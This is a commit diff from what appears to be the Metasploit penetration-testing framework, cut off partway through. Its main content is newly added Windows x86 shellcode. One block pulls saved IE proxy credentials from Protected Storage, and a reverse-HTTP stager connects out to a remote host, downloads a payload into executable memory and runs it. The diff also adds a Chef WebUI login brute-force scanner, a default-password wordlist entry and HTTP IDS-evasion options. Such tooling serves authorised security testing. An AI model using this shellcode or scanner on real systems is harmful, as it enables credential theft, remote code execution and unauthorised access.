Merge pull request #3 from jvazquez-r7/review_3074_clean_server
Land the merge. Code looks good to me! :-) thanks @jvazquez-r7bug/bundler_fix
commit
402fa127e6
|
@ -25,7 +25,6 @@ script:
|
|||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '1.9.3'
|
||||
- '2.1'
|
||||
|
||||
notifications:
|
||||
|
|
10
Gemfile.lock
10
Gemfile.lock
|
@ -22,9 +22,9 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.13.19)
|
||||
metasploit-credential (~> 0.14.0)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.22.8)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -112,10 +112,10 @@ GEM
|
|||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.19)
|
||||
metasploit-credential (0.14.0)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (~> 0.22.8)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
rubyntlm
|
||||
|
@ -123,7 +123,7 @@ GEM
|
|||
metasploit-model (0.29.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.22.8)
|
||||
metasploit_data_models (0.23.0)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
|
|
|
@ -5,3 +5,4 @@ root owaspbwa
|
|||
ADMIN ADMIN
|
||||
xampp xampp
|
||||
tomcat s3cret
|
||||
QCC QLogic66
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20150205192745) do
|
||||
ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -454,6 +454,7 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
|
|||
t.text "info"
|
||||
end
|
||||
|
||||
add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true
|
||||
add_index "services", ["name"], :name => "index_services_on_name"
|
||||
add_index "services", ["port"], :name => "index_services_on_port"
|
||||
add_index "services", ["proto"], :name => "index_services_on_proto"
|
||||
|
|
|
@ -0,0 +1,209 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'
|
||||
; Output: top element of stack will be pointer to null-terminated password and
|
||||
; second will be pointer to null-terminated username of the Proxy saved in IE
|
||||
|
||||
pushad
|
||||
jmp after_functions
|
||||
|
||||
alloc_memory: ; returns address to allocation in eax
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x1000 ; allocate 1000 byte for each variable (could be less)
|
||||
push 0 ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
|
||||
ret ;
|
||||
;
|
||||
after_functions: ;
|
||||
;
|
||||
; allocate memory for variables and save pointers on stack
|
||||
mov bl, 9 ;
|
||||
alloc_loop: ;
|
||||
call alloc_memory ;
|
||||
push eax ; save allocation address on stack
|
||||
dec bl ;
|
||||
jnz alloc_loop ;
|
||||
;
|
||||
load_pstorec: ; loads the pstorec.dll
|
||||
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
|
||||
push 0x6f747370 ; ...
|
||||
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "pstorec" )
|
||||
; this should leave a handle to the pstorec
|
||||
; DLL-Module in eax
|
||||
|
||||
pop edx ; remove 'pstorec' string from stack
|
||||
pop edx
|
||||
|
||||
PStoreCreateInstance_PStore:
|
||||
; returns address to PStore in pPStore
|
||||
pop edi ; pop pPstore
|
||||
push edi ; restore stack
|
||||
;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push edi ; arg4: pPstore
|
||||
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
|
||||
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
|
||||
;
|
||||
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
push edx ; restore stack
|
||||
push eax ;
|
||||
;
|
||||
push edx ; arg1: pEnumPstoreTypes
|
||||
push 0 ; arg2: NULL
|
||||
push 0 ; arg3: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
|
||||
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
|
||||
call edx ; call IPStore::EnumTypes
|
||||
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
|
||||
;
|
||||
EnumPStoreTypes.raw_Next:
|
||||
pop eax ; pop pPStore
|
||||
pop edx ; pop pEnumPStoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
push ecx ; restore stack
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov edx, [edx] ; load base address of EnumPStoreTypes
|
||||
push edx ; push base address of EnumPStoreTypes (this)
|
||||
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
|
||||
call edx ; call EnumPStoreTypes::raw_Next
|
||||
;
|
||||
mov eax, [esp+8] ;
|
||||
mov eax, [eax] ;
|
||||
;
|
||||
test eax, eax ;
|
||||
jz no_auth ; no Password found
|
||||
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
|
||||
jne EnumPStoreTypes.raw_Next
|
||||
;
|
||||
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
pop edi ; pop pEnumSubtypes
|
||||
push edi ; restore stack
|
||||
push ecx ;
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push edi ; arg1: pEnumSubtypes
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: pTypeGUID
|
||||
push 0 ; arg4: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
|
||||
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
|
||||
call edx ; call IPStore::EnumSubtypes
|
||||
;
|
||||
EnumSubtypes.raw_Next:
|
||||
mov eax, [esp+0x0C] ; pop pEnumSubtypes
|
||||
mov edx, [esp+0x10] ; pop psubTypeGUID
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push edx ; arg2: psubTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of EnumSubtypes in eax
|
||||
push eax ; push base address of EnumSubtypes (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
|
||||
call edx ; call EnumSubtypes.raw_Next
|
||||
;
|
||||
PStore.EnumItems:
|
||||
pop eax ; pop pPstore
|
||||
pop ecx ;
|
||||
pop edx ; pop pTypeGUID
|
||||
push edx ; restore stack
|
||||
push ecx ;
|
||||
push eax ;
|
||||
mov ecx, [esp+0x10] ; pop psubTypeGUID
|
||||
mov edi, [esp+0x14] ; pop pspEnumItems
|
||||
;
|
||||
push edi ; arg1: pspEnumItems
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: psubTypeGUID
|
||||
push edx ; arg4: pTyoeGUID
|
||||
push 0 ; arg5: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
|
||||
mov edx, [edx+0x54] ;
|
||||
call edx ; call IPStore::Enumitems
|
||||
;
|
||||
spEnumItems.raw_Next:
|
||||
mov eax, [esp+0x14] ; pop pspEnumItems
|
||||
mov ecx, [esp+0x18] ; pop pitemName
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pitemName
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of spEnumItems in eax
|
||||
push eax ; push base addres of spEnumItems (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ;
|
||||
call edx ;
|
||||
;
|
||||
PStore.ReadItem:
|
||||
pop eax ; pop pPStore
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push 0 ; arg2: NULL (stiinfo not needed)
|
||||
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
|
||||
push ecx ; arg3: ppsData
|
||||
mov ecx, [esp+0x2C] ; pop ppsDataLen
|
||||
push ecx ; arg4: ppsDataLen (not needed?)
|
||||
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
|
||||
mov ecx, [ecx] ;
|
||||
push ecx ; arg5: pitemName
|
||||
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
|
||||
push ecx ; arg6: psubTypeGUID
|
||||
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
|
||||
push ecx ; arg7: pTypeGUID
|
||||
push 0 ; arg8: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base addres of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
|
||||
mov edx, [edx+0x44] ;
|
||||
call edx ;
|
||||
;
|
||||
split_user_pass:
|
||||
mov eax, [esp+0x1C] ; eax = ppsData
|
||||
mov eax, [eax] ; now eax contains pointer to "user:pass"
|
||||
push eax ; push pointer to user
|
||||
mov cl, byte 0x3a ; load ":" in ecx
|
||||
mov dl, byte [eax] ; load first byte of ppsData in edx
|
||||
cmp cl, dl ;
|
||||
jz no_auth ;
|
||||
loop_split: ;
|
||||
inc eax ;
|
||||
mov dl, byte [eax] ;
|
||||
cmp cl, dl ;
|
||||
jnz loop_split ; increase eax until it points to ":"
|
||||
;
|
||||
mov [eax], byte 0x00 ; replace ":" with 00
|
||||
inc eax ;
|
||||
push eax ; push pointer to pass
|
||||
;
|
||||
no_auth:
|
||||
|
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
|
@ -0,0 +1,157 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Top and second top element of stack can be pointer to null-terminated
|
||||
; password and pointer to null-terminated username of a proxy server to connect to.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push byte 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp short dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor edi, edi
|
||||
push edi ; DWORD_PTR dwContext (NULL)
|
||||
push edi ; dwFlags
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push edx ; username
|
||||
push dword 4444 ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp short httpsendrequest
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
|
||||
;//////////////////////////////////
|
||||
;//get proxy credentials from stack
|
||||
;//////////////////////////////////
|
||||
get_proxy_auth:
|
||||
pop esi ; delete the top 3 stack elements as they are
|
||||
pop esi ; garbage from this block
|
||||
pop esi
|
||||
|
||||
pop ecx ; save pointer to password in ecx
|
||||
pop edx ; save pointer to username in edx
|
||||
;/////////////////////////////////////////////////
|
||||
; we use the credentials only in internetconnect//
|
||||
;/////////////////////////////////////////////////
|
||||
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
|
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
|
@ -0,0 +1,18 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Windows Server 2003, IE Versions 4 to 6
|
||||
; Build: >build.py stager_reverse_http_proxy_pstore
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_get_pstore_creds.asm"
|
||||
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -36,6 +36,7 @@ Feature: Help command
|
|||
pushm Pushes the active or list of modules onto the module stack
|
||||
quit Exit the console
|
||||
reload_all Reloads all modules from all defined module paths
|
||||
rename_job Rename a job
|
||||
resource Run the commands stored in a file
|
||||
route Route traffic through a session
|
||||
save Saves the active datastores
|
||||
|
|
|
@ -77,8 +77,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -87,8 +86,7 @@ module Metasploit
|
|||
when -5001 #kFPAuthContinue
|
||||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
|
@ -123,8 +121,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -180,8 +177,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -201,7 +197,7 @@ module Metasploit
|
|||
parsed_data = {}
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
|
||||
raise RuntimeError, "AFP Server response with error" if error_code != 0
|
||||
body = get_body(response, length)
|
||||
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
|
||||
body.unpack('nnnnn')
|
||||
|
@ -243,7 +239,7 @@ module Metasploit
|
|||
|
||||
def get_body(packet, body_length)
|
||||
body = packet[16..body_length + 15]
|
||||
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
|
||||
raise RuntimeError, "AFP Invalid body length" if body.length != body_length
|
||||
return body
|
||||
end
|
||||
|
||||
|
@ -291,7 +287,7 @@ module Metasploit
|
|||
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
|
||||
else # Something wrong?
|
||||
raise "Error parsing network addresses"
|
||||
raise RuntimeError, "Error parsing network addresses"
|
||||
end
|
||||
end
|
||||
return parsed_addreses
|
||||
|
|
|
@ -31,7 +31,12 @@ module Metasploit
|
|||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
else
|
||||
success = login(credential.public, credential.private)
|
||||
begin
|
||||
success = login(credential.public, credential.private)
|
||||
rescue RuntimeError => e
|
||||
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
|
||||
end
|
||||
|
||||
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
|
|
|
@ -20,7 +20,7 @@ module Metasploit
|
|||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -35,6 +35,7 @@ module Metasploit
|
|||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
|
|
@ -0,0 +1,144 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
|
||||
class ChefWebUI < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute session_name
|
||||
# @return [String] Cookie name for session_id
|
||||
attr_accessor :session_name
|
||||
|
||||
# @!attribute session_id
|
||||
# @return [String] Cookie value
|
||||
attr_accessor :session_id
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /<title>Chef Server<\/title>/
|
||||
return "Unexpected HTTP body (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Save the session ID cookie
|
||||
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
|
||||
self.session_name = $1
|
||||
self.session_id = $2
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(csrf_token, credential)
|
||||
|
||||
data = "utf8=%E2%9C%93" # ✓
|
||||
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&commit=login"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('/users/login_exec'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Chef WebUI
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
|
||||
# Obtain a CSRF token first
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
|
||||
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
|
||||
end
|
||||
|
||||
csrf_token = $1
|
||||
|
||||
res = try_credential(csrf_token, credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri("/users/#{credential.public}/edit"),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -62,6 +62,7 @@ module Metasploit
|
|||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
|
|
@ -37,6 +37,122 @@ module Metasploit
|
|||
# @return [String] the Virtual Host name for the target Web Server
|
||||
attr_accessor :vhost
|
||||
|
||||
# @!attribute evade_uri_encode_mode
|
||||
# @return [String] The type of URI encoding to use
|
||||
attr_accessor :evade_uri_encode_mode
|
||||
|
||||
# @!attribute evade_uri_full_url
|
||||
# @return [Boolean] Whether to use the full URL for all HTTP requests
|
||||
attr_accessor :evade_uri_full_url
|
||||
|
||||
# @!attribute evade_pad_method_uri_count
|
||||
# @return [Fixnum] How many whitespace characters to use between the method and uri
|
||||
attr_accessor :evade_pad_method_uri_count
|
||||
|
||||
# @!attribute evade_pad_uri_version_count
|
||||
# @return [Fixnum] How many whitespace characters to use between the uri and version
|
||||
attr_accessor :evade_pad_uri_version_count
|
||||
|
||||
# @!attribute evade_pad_method_uri_type
|
||||
# @return [String] What type of whitespace to use between the method and uri
|
||||
attr_accessor :evade_pad_method_uri_type
|
||||
|
||||
# @!attribute evade_pad_uri_version_type
|
||||
# @return [String] What type of whitespace to use between the uri and version
|
||||
attr_accessor :evade_pad_uri_version_type
|
||||
|
||||
# @!attribute evade_method_random_valid
|
||||
# @return [Boolean] Whether to use a random, but valid, HTTP method for request
|
||||
attr_accessor :evade_method_random_valid
|
||||
|
||||
# @!attribute evade_method_random_invalid
|
||||
